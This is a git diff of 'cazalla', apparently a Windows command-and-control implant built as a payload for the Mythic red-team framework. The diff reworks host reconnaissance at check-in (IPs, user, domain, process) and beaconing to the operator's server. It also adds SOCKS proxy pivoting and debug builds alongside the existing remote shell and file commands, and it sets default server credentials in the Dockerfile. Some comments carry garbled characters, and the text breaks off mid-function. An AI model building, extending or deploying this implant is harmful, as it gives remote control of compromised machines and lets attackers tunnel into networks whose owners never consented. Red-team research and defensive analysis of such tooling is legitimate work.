diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/cazalla/Dockerfile index f7bf279..8372233 100644 --- a/Payload_Type/cazalla/Dockerfile +++ b/Payload_Type/cazalla/Dockerfile @@ -1,5 +1,6 @@ FROM python:3.11 +# --- ARGs que Mythic usa al construir payloads (mantenerlos) --- ARG CA_CERTIFICATE ARG NPM_REGISTRY ARG PYPI_INDEX @@ -8,24 +9,35 @@ ARG DOCKER_REGISTRY_MIRROR ARG HTTP_PROXY ARG HTTPS_PROXY -# Evita prompts (tzdata) y builds no reproducibles +# --- Evita prompts (tzdata) y builds no reproducibles --- ENV DEBIAN_FRONTEND=noninteractive \ PIP_NO_CACHE_DIR=1 -# Update + install en el MISMO layer. Sin upgrade, sin purge. -RUN apt-get update \ -&& apt-get install -y --no-install-recommends \ - apt-utils ca-certificates git zip make build-essential \ - libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \ - liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm \ -&& rm -rf /var/lib/apt/lists/* +# --- Instala toolchain y utilidades necesarias para compilar agentes en C --- +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + apt-utils ca-certificates git zip make build-essential \ + libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \ + liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \ + rm -rf /var/lib/apt/lists/* -# (Opcional) pip reciente / compatibilidad wheels +# --- Actualiza pip / setuptools / wheel --- RUN python -m pip install --upgrade pip setuptools wheel +# --- Instala el paquete base de Mythic y dependencias del payload --- COPY requirements.txt / -RUN pip3 install -r /requirements.txt +RUN pip install --no-cache-dir -r /requirements.txt \ + && pip install --no-cache-dir mythic-container +# --- Variables de entorno necesarias para comunicación con el core Mythic --- +ENV MYTHIC_SERVER_HOST="mythic_server" +ENV MYTHIC_SERVER_PORT="17443" +ENV MYTHIC_SERVER_USERNAME="mythic_admin" +ENV MYTHIC_SERVER_PASSWORD="mythic_password" + +# --- Copia el código del payload --- WORKDIR /Mythic/ +COPY ./ /Mythic/cazalla/ + +# --- Comando por defecto --- CMD ["python3", "main.py"] - \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index f6c0e76..a766d91 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -1,8 +1,12 @@ # Compiler CC = x86_64-w64-mingw32-gcc -CFLAGS = -Wall -w -s -IInclude + +# Base flags +CFLAGS = -Wall -w -IInclude LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows -DFLAGS = -D_DEBUG +# Console flags (no -mwindows) for debug console output +LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp +DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g # Directories SRC_FILES := *.c @@ -13,31 +17,32 @@ $(shell mkdir -p $(BUILD_DIR)) # Build Targets all: exe dll - -exe: $(BUILD_DIR)/cazalla.exe - -dll: $(BUILD_DIR)/cazalla.dll - debug: debug_exe debug_dll +exe: $(BUILD_DIR)/cazalla.exe +dll: $(BUILD_DIR)/cazalla.dll debug_exe: $(BUILD_DIR)/cazalla-debug.exe - debug_dll: $(BUILD_DIR)/cazalla-debug.dll # Executable Target $(BUILD_DIR)/cazalla.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) + $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS) # DLL Target $(BUILD_DIR)/cazalla.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) +# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log) +debug_log: $(BUILD_DIR)/cazalla-debug-log.exe +$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS) + # Clean up clean: rm -rf $(BUILD_DIR) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index 02a5cb1..14c836d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -1,6 +1,9 @@ #include "SistemadeFicheros.h" #include "paquete.h" +/* Forward decl to avoid implicit declaration on some toolchains */ +BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); + #define _CRT_SECURE_NO_WARNINGS #pragma warning(disable : 4996) @@ -31,10 +34,10 @@ VOID CambiarDirectorio(PAnalizador argumentos) { pathNormalizado[j++] = pathIntroducido[i]; } - // Asegurar que el path esté terminado en null + // Asegurar que el path est� terminado en null pathNormalizado[j] = '\0'; - // Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas + // Convertir el path a min�sculas para evitar problemas con may�sculas/min�sculas for (int i = 0; i < j; i++) { pathNormalizado[i] = tolower(pathNormalizado[i]); } @@ -80,7 +83,7 @@ VOID ListarDirectorio(PAnalizador argumentos){ return; } - UINT32 tamanoPath = NULL; + UINT32 tamanoPath = 0; SIZE_T tamano = 0; char nombreFichero[MAX_FILENAME]; PCHAR fichero = getString(argumentos, &tamano); @@ -169,7 +172,7 @@ BOOL ObtenerPath(PAnalizador argumentos) { if (length == 0) { DWORD error = GetLastError(); - _err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error); + _err("[pwd] Error obteniendo directorio actual. C�digo: %lu\n", error); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaError, tareaUuid, FALSE); @@ -227,7 +230,7 @@ VOID CopiarFichero(PAnalizador argumentos) { DWORD error = GetLastError(); - _err("[cp] No se ha podido copiar. Código: %lu\n", error); + _err("[cp] No se ha podido copiar. C�digo: %lu\n", error); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaError, tareaUuid, FALSE); @@ -283,7 +286,7 @@ VOID CrearRuta(PAnalizador argumentos){ if (!CreateDirectoryA(directorio, NULL)){ DWORD error = GetLastError(); - _err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error); + _err("[mkdir] No se ha podido crear el directorio. C�digo: %lu\n", error); PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); addString(respuestaError, tareaUuid, FALSE); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index d0bb5d5..d1f9702 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -1,39 +1,78 @@ #include "cazalla.h" #include "Config.h" +#include "socks_manager.h" + +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif CONFIG_CAZALLA* cazallaConfig = NULL; VOID cazallaMain() { - //v2: evitar LocalAlloc - cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); - cazallaConfig->idAgente = (PCHAR)initUUID; - cazallaConfig->hostName = (PWCHAR)hostname; - cazallaConfig->puertoHttp = port; - cazallaConfig->endPoint = (PWCHAR)endpoint; - cazallaConfig->userAgent = (PWCHAR)useragent; - cazallaConfig->metodoHttp = (PWCHAR)httpmethod; - cazallaConfig->SSL = ssl; - cazallaConfig->proxyHabilitado = proxyenabled; - cazallaConfig->urlProxy = (PWCHAR)proxyurl; - cazallaConfig->tiempoSleep = sleep_time*1000; + printf("[CAZALLA] Inicializando configuración de Cazalla\n"); + fflush(stdout); + cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); + if (!cazallaConfig) { + _err("Error: fallo en LocalAlloc para cazallaConfig.\n"); + return; + } + + cazallaConfig->idAgente = (PCHAR)initUUID; + cazallaConfig->hostName = (PWCHAR)hostname; + cazallaConfig->puertoHttp = port; + cazallaConfig->endPoint = (PWCHAR)endpoint; + cazallaConfig->userAgent = (PWCHAR)useragent; + cazallaConfig->metodoHttp = (PWCHAR)httpmethod; + cazallaConfig->SSL = ssl; + cazallaConfig->proxyHabilitado= proxyenabled; + cazallaConfig->urlProxy = (PWCHAR)proxyurl; + cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000; + + printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n", + cazallaConfig->idAgente, + cazallaConfig->hostName, + cazallaConfig->puertoHttp, + (int)cazallaConfig->SSL, + (int)cazallaConfig->proxyHabilitado, + cazallaConfig->endPoint, + cazallaConfig->userAgent, + cazallaConfig->tiempoSleep); + fflush(stdout); + + printf("[CAZALLA] Iniciando primer checkin...\n"); + fflush(stdout); PAnalizador respuestaAnalizador = checkin(); if (!respuestaAnalizador) { - _err("error en el primer checkin, cerrando\n"); + printf("[CAZALLA] Error en el primer checkin, cerrando.\n"); + fflush(stdout); return; } parseChecking(respuestaAnalizador); - while (TRUE){ + printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep); + fflush(stdout); + + while (TRUE) { rutina(); + + /* Si SOCKS está activo, reducir sleep para mejorar latencia */ + if (socks_proxy_active) { + DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)"); + Sleep(100); + } else { + DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); + Sleep(cazallaConfig->tiempoSleep); + } } } VOID setUUID(PCHAR newUUID) { cazallaConfig->idAgente = newUUID; - return; + DBG_PRINTF("UUID actualizado: %s", newUUID); } - diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h index 89bac7d..104a567 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -4,15 +4,15 @@ #include #include "paquete.h" - #include "analizador.h" #include "utils.h" #include "checkin.h" +#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active typedef struct { // UUID PCHAR idAgente; - //HTTP + // HTTP PWCHAR hostName; DWORD puertoHttp; PWCHAR endPoint; @@ -24,12 +24,11 @@ typedef struct { PWCHAR urlProxy; UINT32 tiempoSleep; -}CONFIG_CAZALLA, * PCONFIG_CAZALLA; +} CONFIG_CAZALLA, *PCONFIG_CAZALLA; extern PCONFIG_CAZALLA cazallaConfig; - VOID setUUID(PCHAR newUUID); -VOID cazallaMain(); +VOID cazallaMain(void); -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c index 7e3eca3..dda83ab 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -1,196 +1,171 @@ #include "checkin.h" #include "cazalla.h" +#include "socks_manager.h" #pragma comment(lib, "iphlpapi.lib") #include -// Obtener Direcciones IPs. +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif + +// === Obtener Direcciones IPs === UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { + PMIB_IPADDRTABLE pTablaDireccionesIP; + DWORD dwSize = 0; + DWORD dwRetVal = 0; + IN_ADDR IPAddr; - PMIB_IPADDRTABLE pTablaDireccionesIP; - DWORD dwSize = 0; - DWORD dwRetVal = 0; - IN_ADDR IPAddr; - LPVOID lpMsgBuf; + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); + if (pTablaDireccionesIP) { + if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { + LocalFree(pTablaDireccionesIP); + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); + } + if (pTablaDireccionesIP == NULL) return NULL; + } else return NULL; - pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); - if (pTablaDireccionesIP) { + if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { + return NULL; + } else { + *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; + } - if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { + UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); + for (UINT32 i = 0; i < *numeroDeIPs; i++) { + IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; + tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); + } - LocalFree(pTablaDireccionesIP); - pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); - } - - if (pTablaDireccionesIP == NULL) { - return NULL; - } - } - else { - return NULL; - } - - if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { - - return NULL; - - } - else { - - *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; - } - - UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); - - for (UINT32 i = 0; i < *numeroDeIPs; i++) { - - IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; - tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); - } - - if (pTablaDireccionesIP) { - - LocalFree(pTablaDireccionesIP); - } - - return tableOfIPs; + if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP); + return tableOfIPs; } - -// Obtener la arquitectura +// === Obtener arquitectura === BYTE obtenerArquitectura() { - - SYSTEM_INFO informacionDelSistema; - - GetNativeSystemInfo(&informacionDelSistema); - if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { - return 0x64; - } - - return 0x86; + SYSTEM_INFO informacionDelSistema; + GetNativeSystemInfo(&informacionDelSistema); + if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || + informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { + return 0x64; + } + return 0x86; } -// Obtener el Hostname +// === Obtener hostname === PCHAR obtenerHostame() { - - LPSTR datos = NULL; - DWORD dataLen = 0; - const char* hostnameRep = "N/A"; - - if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) - { - if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) - { - GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); - hostnameRep = datos; - } - } - return (char*)hostnameRep; + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* hostnameRep = "N/A"; + if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) { + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { + GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); + hostnameRep = datos; + } + } + return (char*)hostnameRep; } -// Obtener el usuario +// === Obtener usuario === char* obtenerUsuarios() { - - LPSTR datos = NULL; - DWORD dataLen = 0; - const char* usuario = "N/A"; - - if (!GetUserNameA(NULL, &dataLen)) { - - if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { - - GetUserNameA(datos, &dataLen); - usuario = datos; - } - } - return (char*)usuario; + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* usuario = "N/A"; + if (!GetUserNameA(NULL, &dataLen)) { + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { + GetUserNameA(datos, &dataLen); + usuario = datos; + } + } + return (char*)usuario; } -// Obtener el dominio +// === Obtener dominio === LPWSTR obtenerDominio() { + DWORD dwLevel = 102; + LPWKSTA_INFO_102 pBuf = NULL; + PWCHAR dominio = NULL; + NET_API_STATUS nStatus; + LPWSTR pszServerName = NULL; - DWORD dwLevel = 102; - LPWKSTA_INFO_102 pBuf = NULL; - PWCHAR dominio = NULL; - NET_API_STATUS nStatus; - LPWSTR pszServerName = NULL; - - nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); - if (nStatus == NERR_Success) { - - DWORD length = lstrlenW(pBuf->wki102_langroup); - dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); - memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); - } - - if (pBuf != NULL) { - - NetApiBufferFree(pBuf); - } - - return dominio; + nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); + if (nStatus == NERR_Success) { + DWORD length = lstrlenW(pBuf->wki102_langroup); + dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); + memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); + } + if (pBuf != NULL) NetApiBufferFree(pBuf); + return dominio; } -char* getOsName() { +// === Obtener OS === +char* getOsName() { return (PCHAR)"Windows"; } - return (PCHAR)"Windows"; -} - -// Obtener el nombre del proceso actual +// === Obtener nombre del proceso actual === char* obtenerNombreProceso() { - - char* nombreProceso = NULL; - HANDLE handle = GetCurrentProcess(); - if (handle) { - - DWORD buffSize = 1024; - CHAR buffer[1024]; - - if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { - - nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); - memcpy(nombreProceso, buffer, buffSize); - } - CloseHandle(handle); - } - return nombreProceso; + char* nombreProceso = NULL; + HANDLE handle = GetCurrentProcess(); + if (handle) { + DWORD buffSize = 1024; + CHAR buffer[1024]; + if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { + nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); + memcpy(nombreProceso, buffer, buffSize); + } + CloseHandle(handle); + } + return nombreProceso; } +/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */ +static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; } +/* ========================================================== + Check-in principal con soporte SOCKS + ========================================================== */ PAnalizador checkin() { + printf("[CHECKIN] Iniciando checkin\n"); + fflush(stdout); - UINT32 numeroDeIPs = 0; - PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); - if (!checkin) { - _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); - return NULL; - } - addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + UINT32 numeroDeIPs = 0; + PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); + if (!checkin) { + _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); + return NULL; + } - UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); - addInt32(checkin, numeroDeIPs); - for (UINT32 i = 0; i < numeroDeIPs; i++) { - addInt32(checkin, tableOfIPs[i]); - } + addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); + addInt32(checkin, numeroDeIPs); + for (UINT32 i = 0; i < numeroDeIPs; i++) { + addInt32(checkin, tableOfIPs[i]); + } - addString(checkin, getOsName(), TRUE); - addByte(checkin, obtenerArquitectura()); - addString(checkin, obtenerHostame(), TRUE); - addString(checkin, obtenerUsuarios(), TRUE); - addWString(checkin, obtenerDominio(), TRUE); - addInt32(checkin, GetCurrentProcessId()); - addString(checkin, obtenerNombreProceso(), TRUE); - addString(checkin, (PCHAR)"1.1.1.1", TRUE); + addString(checkin, getOsName(), TRUE); + addByte(checkin, obtenerArquitectura()); + addString(checkin, obtenerHostame(), TRUE); + addString(checkin, obtenerUsuarios(), TRUE); + addWString(checkin, obtenerDominio(), TRUE); + addInt32(checkin, GetCurrentProcessId()); + addString(checkin, obtenerNombreProceso(), TRUE); + addString(checkin, (PCHAR)"1.1.1.1", TRUE); + printf("[CHECKIN] Enviando paquete inicial\n"); + fflush(stdout); + PAnalizador respuestaAnalizador = mandarPaquete(checkin); + liberarPaquete(checkin); - PAnalizador respuestaAnalizador = mandarPaquete(checkin); + if (!respuestaAnalizador) { + printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n"); + fflush(stdout); + return NULL; + } - liberarPaquete(checkin); + DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe"); + procesarSocksEntrante(respuestaAnalizador); - if (!respuestaAnalizador) { - _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); - return NULL; - - } - return respuestaAnalizador; -} \ No newline at end of file + DBG_PRINTF("checkin(): completado"); + return respuestaAnalizador; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h index ae64497..03064c1 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h @@ -2,6 +2,7 @@ #ifndef CHECKIN_H #define CHECKIN_H + #include #include #include @@ -9,9 +10,10 @@ #include "transporte.h" #include "analizador.h" #include "comandos.h" +#include "socks_manager.h" // <— añadido #pragma comment(lib, "netapi32.lib") -PAnalizador checkin(); +PAnalizador checkin(void); -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 206822b..2e89f8f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -1,94 +1,207 @@ #include "cazalla.h" #include "comandos.h" +#include "socks_manager.h" +#include "paquete.h" + +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif + +/* Forward: handlers for the new commands */ +static void startSocksHandler(PAnalizador analizadorTarea); +static void stopSocksHandler(PAnalizador analizadorTarea); BOOL handleGetTasking(PAnalizador obtenerTarea) { - UINT32 numeroTareas = getInt32(obtenerTarea); - if (numeroTareas) { - _dbg("[Tareas] hay %d tareas !\n", numeroTareas); - } + UINT32 numeroTareas = getInt32(obtenerTarea); + if (numeroTareas) { + _dbg("[Tareas] hay %d tareas !\n", numeroTareas); + } - for (UINT32 i = 0; i < numeroTareas; i++) { - SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID - BYTE tarea = getByte(obtenerTarea); - _dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); + for (UINT32 i = 0; i < numeroTareas; i++) { + SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID + BYTE tarea = getByte(obtenerTarea); + _dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); - PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); - PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); + PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); + PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); - if (tarea == SHELL_CMD){ - ejecutarConsola(analizadorTarea); - }else if (tarea == EXIT_CMD) { - cerrarCallback(analizadorTarea); - }else if(tarea == SLEEP_CMD){ - sleep(analizadorTarea); - }else if(tarea == PROCESS_CMD){ - listarProcesos(analizadorTarea); - }else if (tarea == CD_CMD) { - CambiarDirectorio(analizadorTarea); - }else if (tarea == LS_CMD) { - ListarDirectorio(analizadorTarea); - }else if (tarea == PWD_CMD) { - ObtenerPath(analizadorTarea); - }else if (tarea == CP_CMD) { - CopiarFichero(analizadorTarea); - }else if (tarea == MKDIR_CMD) { - CrearRuta(analizadorTarea); - }else if (tarea == RM_CMD) { - EliminarRuta(analizadorTarea); - } - } - - return TRUE; + if (tarea == SHELL_CMD){ + ejecutarConsola(analizadorTarea); + } else if (tarea == EXIT_CMD) { + cerrarCallback(analizadorTarea); + } else if (tarea == SLEEP_CMD){ + sleep(analizadorTarea); + } else if (tarea == PROCESS_CMD){ + listarProcesos(analizadorTarea); + } else if (tarea == CD_CMD) { + CambiarDirectorio(analizadorTarea); + } else if (tarea == LS_CMD) { + ListarDirectorio(analizadorTarea); + } else if (tarea == PWD_CMD) { + ObtenerPath(analizadorTarea); + } else if (tarea == CP_CMD) { + CopiarFichero(analizadorTarea); + } else if (tarea == MKDIR_CMD) { + CrearRuta(analizadorTarea); + } else if (tarea == RM_CMD) { + EliminarRuta(analizadorTarea); + } else if (tarea == START_SOCKS_CMD) { + DBG_PRINTF("Received START_SOCKS_CMD"); + startSocksHandler(analizadorTarea); + } else if (tarea == STOP_SOCKS_CMD) { + DBG_PRINTF("Received STOP_SOCKS_CMD"); + stopSocksHandler(analizadorTarea); + } else { + _dbg("[Tarea] Tarea desconocida: 0x%02x\n", tarea); + // liberar analizador si no será usado por otro handler + if (analizadorTarea) liberarAnalizador(analizadorTarea); + } + } + + return TRUE; } BOOL commandDispatch(PAnalizador respuesta) { - BYTE tipoRespuesta = getByte(respuesta); - if (tipoRespuesta == GET_TASKING) { - return handleGetTasking(respuesta); - } - else if (tipoRespuesta == POST_RESPONSE) { - return TRUE; - } - return TRUE; + BYTE tipoRespuesta = getByte(respuesta); + if (tipoRespuesta == GET_TASKING) { + return handleGetTasking(respuesta); + } + else if (tipoRespuesta == POST_RESPONSE) { + return TRUE; + } + return TRUE; } BOOL parseChecking(PAnalizador respuestaAnalizador) { - if (getByte(respuestaAnalizador) != CHECKIN) { + if (getByte(respuestaAnalizador) != CHECKIN) { - liberarAnalizador(respuestaAnalizador); - return FALSE; - } + liberarAnalizador(respuestaAnalizador); + return FALSE; + } - SIZE_T tamanoUuid = 36; - PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); - setUUID(nuevoUuid); + SIZE_T tamanoUuid = 36; + PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); + setUUID(nuevoUuid); - _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); - liberarAnalizador(respuestaAnalizador); + liberarAnalizador(respuestaAnalizador); - return TRUE; + return TRUE; } BOOL rutina() { - PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); - addInt32(obtenerTarea, NUMBER_OF_TASKS); + PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); + addInt32(obtenerTarea, NUMBER_OF_TASKS); - Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); - // sin respuesta - if (!respuestaAnalizador) { - - return FALSE; - } - commandDispatch(respuestaAnalizador); + Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); + // sin respuesta + if (!respuestaAnalizador) { - // Sleep - Sleep(cazallaConfig->tiempoSleep); + return FALSE; + } + commandDispatch(respuestaAnalizador); - return TRUE; + // Sleep + Sleep(cazallaConfig->tiempoSleep); -} \ No newline at end of file + return TRUE; + +} + +/* ============================ + START_SOCKS_CMD handler + Expected params (in this order inside the task buffer): + - 36 bytes: UUID del task + - UINT32 LocalPort (optional). If absent or zero -> default 1080. + Behavior: + - call socks_manager_init() + - call socks_manager_start_proxy(local_port) + - send response back to Mythic + ============================ */ +static void startSocksHandler(PAnalizador analizadorTarea) { + DBG_PRINTF("startSocksHandler() enter"); + + // Leer el UUID del task (primeros 36 bytes) + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(analizadorTarea, &uuidLen); + + // Leer el puerto + UINT32 localPort = (UINT32)getInt32(analizadorTarea); + DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort); + + if (localPort == 0) localPort = 1080; + + // initialize socks manager (idempotent) + socks_manager_init(); + + int rc = socks_manager_start_proxy((uint16_t)localPort); + + // Crear respuesta para Mythic + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente + addString(respuesta, taskUuid, FALSE); // Task UUID + + // Crear paquete temporal para el output + PPaquete salida = nuevoPaquete(0, FALSE); + if (rc == 0) { + DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort); + PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort); + 